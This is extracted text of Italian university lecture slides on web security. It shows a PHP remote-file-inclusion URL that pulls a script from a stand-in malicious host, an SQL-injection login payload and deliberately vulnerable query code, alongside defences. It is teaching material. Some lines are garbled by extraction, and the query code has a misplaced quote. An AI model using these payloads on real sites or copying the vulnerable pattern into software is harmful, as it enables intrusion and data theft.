(seconda edizione aggiornata), Apogeo, 2011 Disponibile e-book (PDF) nella collana Apogeo Spicchi: è possibile acquistare singoli capitoli [www.apogeonline.com/libri/9788850314799/scheda] Frammenti suggeriti: – – – – – Cap. 2 (siti web dinamici): sez. 2.3 e 2.4 Cap. 3 (Il linguaggio di scripting PHP): sez. 3.1 e 3.2 Cap. 4 (JSP: Java Server Pages): sez. 4.1 e 4.2 Cap. 5 (Java Enterprise Edition): sez. 5.1 e 5.2 (solo intro + 5.2.1 e 5.2.2) Appendice A (basi di dati): sez. A.1 e A.2 Goy - a.a. 2014/2015 Tecnologie Web 56 28 La sicurezza sul Web: introduzione - I Cyber crime = crimine che 1. sfrutta computer e reti come strumenti 2. ha computer e reti come obiettivi Ba Based on the h 20144 report p from f mP Ponemon m IInstitute,, the h mean m a annualized cost of cyber crimes for 257 benchmarked organizations is $7.6 million per year, with a range from $0.5 million to $61 million per company each year. Smaller organizations have a significantly higher per capita cost than larger organizations ($1,607 versus $437). [...] Every year, malicious insiders, denial of service, and web-based attacks account for more than 55% of all cyber crime costs. [...] Cost savings for companies with good security governance practices is estimated at $1.3 $1 3 million with expert personnel and $1 $1.11 million with certification for industry-leading standards. [Hewlett-Packard 2014] [https://ssl.www8.hp.com/us/en/ssl/leadgen/secure_document.html? objid=4AA5-5207ENW&siebelid=12503&sectionid=pdf&returnurl=/us/en/secure/pdf/4aa5-5207enw.pdf &simpletitle=ponemon%20cyber%20report&subbu=tsg.software&parentPageName=3.0&analytics_page_name=3. 0&parentUrl=http%3A//www8.hp.com/us/en/software-solutions/ponemon-cyber-security-report/ &compURI=tcm%3A245-1788580&fv=FLEX2%20SW3&metrics_asset_value=eb&bu=tsg &st=/us/en/software-solutions/ponemon-cyber-security-report&as=software&wsi=r11374&cu=false] a.a. 2014/15 Tecnologie Web 57 La sicurezza sul Web: attacchi non-tecnici • Attacco "non-tecnico": mirato ad estorcere informazioni sensibili alle persone o a far compiere azioni che possono compromettere la sicurezza di un sistema Es: phishing basato su i ingegneria i sociale i l = sfrutta la pressione sociale per convincere le persone a rivelare informazioni riservate • Possibili difese – educazione – regole interne – filtri per spam/ danger a.a. 2014/15 Tecnologie Web 58 29 La sicurezza sul Web: attacchi tecnici • Attacco "tecnico": perpetrato ai danni di un sistema informatico, con lo scopo di acquisire dati sensibili o danneggiare il sistema (spesso ne sfrutta le vulnerabilità) C Come sono possibili ibili gli li attacchi tt hi ttecnici? i i? I programmi, soprattutto se di grandi dimensioni, possono contenere errori (bugs, "bachi") e alcuni errori possono rappresentare "falle di sicurezza" le falle di sicurezza rappresentano dei punti di ingresso per terze parti provenienti dall dall'esterno esterno, a cui è fornita la possibilita di acquisire dati o alterare il funzionamento dell'applicazione le falle di sicurezza rendono possibili le intrusioni... a.a. 2014/15 Tecnologie Web 59 La sicurezza sul Web: intrusioni - I • Intrusione = accesso non previsto ad un programma, con lo scopo di prelevare dati nascosti o modificarne il funzionamento; es: furto di dati personali (documenti, credenziali per l'accesso, g ) custoditi all'interno di database non contatti e dati anagrafici) protetti a sufficienza • Le motivazioni di un'intrusione possono essere varie, dalla sfida personale alla truffa vera e propria, al terrorismo • Per ridurre la possibilità di intrusioni bisogna "mettere in sicurezza" l'applicazione per implementare un'applicazione web sicura sono necessari tempo ed energie, energie che spesso vengono invece spesi solo quando si presentano i problemi… • La messa in sicurezza di un'applicazione dovrebbe invece seguire di pari passo la progettazione, per evitare di dover inserire successivamente costose e meno funzionali patch a.a. 2014/15 Tecnologie Web 60 30 La sicurezza sul Web: intrusioni - II Intrusioni • attacchi: esistono diversi modi per attaccare un'applicazione web accenniamo solo ad alcuni esempi: o attacchi tt hi iin fase f di autenticazione t ti i o attacchi in fase di autorizzazione o iniezioni di codice • difese e messa in sicurezza: progettazione di applicazioni sicure accenniamo ad alcune delle tecniche più semplici, a titolo di esempio: o test audiovisivi o validazione dell'input o sicurezza della sessione a.a. 2014/15 Tecnologie Web 61 Attacchi: autenticazione - I Autenticazione = processo tramite il quale un programma verifica l'identità di un computer/programma/utente, attraverso il controllo delle sue credenziali chi sta cercando di accedere alla mia applicazione? pp Tecniche di intrusione basate su debolezze dei meccanismi di autenticazione per ottenere le credenziali di accesso: • Brute force: – processo automatico per tentativi ed errori – tramite la generazione casuale di stringhe o l'utilizzo di appositi dizionari, dizionari effettua reiterati tentativi per indovinare dati come username, password, numeri di carte di credito, … a.a. 2014/15 Tecnologie Web 62 31 Attacchi: autenticazione - II • Autenticazione insufficiente: – vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito – per es: un'applicazione web che implementa un'area riservata inserendola in una cartella o in un file non linkato nella home, accessibile solo a chi ne conosce il percorso, senza altre protezioni • Sistema debole per il recupero e validazione della password: – recupero password non sicuro – per es: a chi hi dimentica di ti la l passwordd vengono richiesti i hi ti alcuni dati personali inseriti in fase di registrazione (email, domicilio, numero di telefono, …); ricavare queste informazioni è spesso facile per chi conosce la vittima che intende colpire a.a. 2014/15 Tecnologie Web 63 Attacchi: autorizzazione - I Autorizzazione = processo con cui si stabiliscono le possibilità di accesso a certe risorse ed operazioni (verifica dei "privilegi"), attraverso il controllo delle sue credenziali colui che sta accedendo alla mia applicazione, cosa è autorizzato a fare? Tecniche di intrusione basate su debolezze dei meccanismi di autorizzazione per falsificare i propri privilegi: • Session hijacking: "dirottamento della sessione" – consiste nel ricavare l'ID di sessione di uno degli utenti collegati g in quel q momento e sfruttare le sue credenziali per accedere a dati o a sezioni riservate a.a. 2014/15 Tecnologie Web 64 32 Attacchi: autorizzazione - II • Autorizzazione insufficiente: – vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito – per es: un'applicazione web che permette l'accesso a documenti riservati a chi ne conosca il percorso, senza imporre le dovute restrizioni • Terminazione della sessione insufficiente: – quando il sito permette all'utente di riutilizzare un vecchio session ID anche dopo diverso tempo, per evitargli di ripetere frequentemente il login (questo fa sì che h un malintenzionato li t i t abbia bbi più iù tempo t a disposizione di i i per tentare un furto di un session ID) a.a. 2014/15 Tecnologie Web 65 Attacchi: iniezioni di codice - I Iniezioni di codice = inserimento di codice che esegue operazioni anomale non previste dall'autore dell'applicazione • Esempio 1: iniezioni PHP (uso incauto di GET e include) http://sito_esempio/esempio.php?include_script=previsto.php – l'URL di connessione alla pagina esempio.php contiene il parametro include_script, il cui valore è il (percorso del) file che contiene lo script da inserire all'interno del codice (previsto.php) – all'interno di esempio.php leggiamo il valore del parametro include_script senza alcun controllo sul tale valore: include ($_GET["include_script"]); rendiamo possibile inoculare, per es, lo script malevolo.php residente id t sull sito it sito_malevolo.com it l l !!! Per farlo è infatti sufficiente connettersi a: http://sito_esempio/esempio.php?include_script= http%3A%2F%2Fsito_malevolo.com%2Fmalevolo.php : / / / a.a. 2014/15 Tecnologie Web 66 33 Attacchi: iniezioni di codice - II • Esempio 2: iniezioni SQL (uso incauto di POST) L'utente inserisce nel form caratteri "strani", per es: Username: ' OR ' ' = ' Password: ' OR ' ' = ' – all'interno della nostra pagina PHP leggiamo i valore inseriti dall'utente e li usiamo per interrogare il database (fare una query SQL) senza alcun controllo sul tali valori: $query = "SELECT SELECT * FROM dati_utenti dati utenti WHERE username = '".$user."' AND password = ".$pass."'"; – la nostra interrogazione (query) seleziona tutti i record della tabella! l'utente malintenzionato può stampare sul proprio browser tutto il contenuto della tabella del database con i dati degli utenti!!! a.a. 2014/15 Tecnologie Web 67 Difese: test audiovisivi - I Spesso, per cercare automaticamente le falle di un sistema, vengono utilizzati dei programmi che effettuano un'analisi (automatica) dei punti vulnerabili del sistema (NB: possono essere usati sia per intrusione, sia per la ricerca preventiva ti di possibili ibili falle f ll di sicurezza...) i ) Difesa contro gli strumenti di analisi automatica: • esistono diverse possibili azioni preventive • ne citiamo solo una a titolo esemplificativo: i CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) – bbasato sull'idea ll'id del d l test t t di Turing T i (porre ( ddomande d che permettano di capire se l’interlocutore è un umano o una macchina) a.a. 2014/15 Tecnologie Web 68 34 Difese: test audiovisivi - II – la forma più comune di CAPTCHA è visiva: vengono mostrati all’utente lettere e numeri distorti in modo da eludere gli OCR (Optical Character Recognition: programmi dedicati al riconoscimento di un'immagine contenente t t testo) t t ) – esistono anche forme di CAPTCHA audio a.a. 2014/15 Tecnologie Web 69 Difese: validazione input - I Progettazione di applicazioni sicure (accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio…) Validazione input Uno U o de dei punti pu t più p ù deboli debo di d uun'applicazione app ca o e Web è l'elaborazione e abo a o e dei dati forniti dall'utente in input (es. nei form; vedi es. prec.) effettuare dei controlli sulle stringhe in input è fondamentale! – Numeri: is_numeric(n) controlla che n sia un numero – Stringhe: validare le stringhe è una questione molto più complessa… esistono due modi principali: ( ) filtrare l'inserimento di specifiche (a) p sequenze q di caratteri,, come i tag HTML, eliminando o ri-codificando le parti della stringa potenzialmente dannose (+ permissivo) (b) accettare solo input che rispettino specifiche regole di formattazione (+ restrittivo) a.a. 2014/15 Tecnologie Web 70 35 Difese: validazione input - II (a) L'utente può inserire apici singoli (') e doppi (") Possibile difesa: funzioni di escape Escape = anteposizione di un carattere di escape, generalmente il backslash (\), ad alcuni caratteri che hanno significati particolari (per esempio gli apici); la presenza del carattere di escape comunica all’interprete all interprete di non interpretare ciò che segue Nel precedente es. di iniezione di codice SQL, utilizzando delle funzioni di escape sull'input fonito dall'utente nel form si evita di scrivere (involontariamente) una query "dannnosa": $query = "SELECT * FROM dati_utenti WHERE username = '".mysql_real_escape_string($user)."' AND password = ".mysql_real_escape_string($pass)."'"; Analogamente, A l l'l'utente può ò iinserire i nell form f caratterii speciali i li (es. tag HTML) con lo scopo di far eseguire codice malevolo Possibile difesa: funzioni che eliminano i tag HTML dalla stringa in input, oppure trasformano i caratteri speciali secondo la sintassi HTML (< diventa &lt; ecc…); a.a. 2014/15 Tecnologie Web 71 Difese: validazione input - III (b) Controlli sull'input: • si può, per es, controllare la lunghezza (e il tipo) delle stringhe in input (con delle apposite funzioni) • si possono usare delle whitelist controllare che i dati (stringhe) appartengano ad una lista predefinita (per es, controllo che l'input appartenga alla whitelist lunedì, martedì, mercoledì, giovedì, venerdì a.a. 2014/15 Tecnologie Web 72 36 Difese: sicurezza della sessione - I Sicurezza della sessione per rendere il furto del session ID (es. session hijacking) più difficile da realizzare • Utilizzare i cookies come mezzo di trasporto del session ID, inibendo l'URL rewriting (per farlo occorre modificare la configurazione fi i del d l Web W b Server) S ) • Rinegoziare il session ID ogni volta che viene inizializzata una sessione (session regeneration): la funzione session_regenerate_id() genera un nuovo session ID non prevedibile, ri-creando il cookie che ne contiene il valore • "Ruotare" il session ID: simile alla session regeneration, ma la generazione del nuovo session ID avviene ad ogni richiesta (HTTP request) effettuata dal client E' una soluzione molto sicura, ma ha alcuni problemi, per es: impedisce il funzionamento del tasto back del browser (il back effettua una richiesta con un session ID non più valido in quanto rinegoziato) impedisce il funzionamento corretto di memoria cache o di proxy a.a. 2014/15 Tecnologie Web 73 La sicurezza sul Web: conclusioni • La maggioranza dei problemi di sicurezza delle applicazioni Web è legata alla validazione degli input: impedire che quanto inserito dall'utente possa contenere stringhe dannose significa già aver reso un sito più sicuro • La messa in sicurezza non è un'operazione semplice: si deve cercare un compromesso tra – le funzionalità e l'usabilità (che rischiano di venire compromesse da controlli troppo restrittivi) e – la sicurezza NB gli utenti sono pigri! spesso non vogliono dover risolvere un CAPTCHA ad ogni accesso… • Ricordarsi che le scelte di messa in sicurezza dipendono dal tipo di applicazione e di dati trattati! a.a. 2014/15 Tecnologie Web 74 37 Suggerimenti bibliografici – II (oltre ai link segnalati nelle slide...) • S. Graziola, La sicurezza nelle applicazioni web, Tesi di Laurea in Scienze della Comunicazione, Università di Torino, a.a. 2007/2008 [www.di.unito.it/~goy/materiale/1415/estrattoTesiGraziola.pdf] 1. Premessa (pp 4-5) 2.3 L’intrusione (pp 9-10)) 3. Tipi di vulnerabilità (NB: rassegna, senza troppi dettagli…) 3.1 Autenticazione (pp 11-14) 3.2 Autorizzazione (pp 14-16) [NO 3.2.4 Furto della sessione (pp 16-18)] 3.4 Iniezioni di dati (pp 22-31) [NO “uso incauto di eval” (pp 25-26)] 4. Difese 4.1 Contro i sistemi di analisi automatica • SOLO 4.1.10 Test di Turing audiovisivi (pp 47-48)] 4.2 Progettazione di applicazioni sicure • SI: 4.2.1 Validazione input (pp 48-59) • SI: 4.2.4 Sicurezza della sessione (pp 71-77) NO: Scadenza della sessione lato server (p 73), NO: Validaz. Validaz in base all’IP all IP, Browser signature, signature Validaz Validaz.dei dei referrers (pp 74 74-77) 77) 5. Conclusioni (p 78) • V. Roberto, M. Frailis, A. Gugliotta, P. Omero, Introduzione alle Tecnologie Web, McGraw-Hill, 2005 [NB: fate "attenzione" perché è un po' vecchiotto...!] – Cap. 7 (Sicurezza nel web): sez. da 7.1 a 7.3 Goy - a.a. 2014/2015 Tecnologie Web 75 38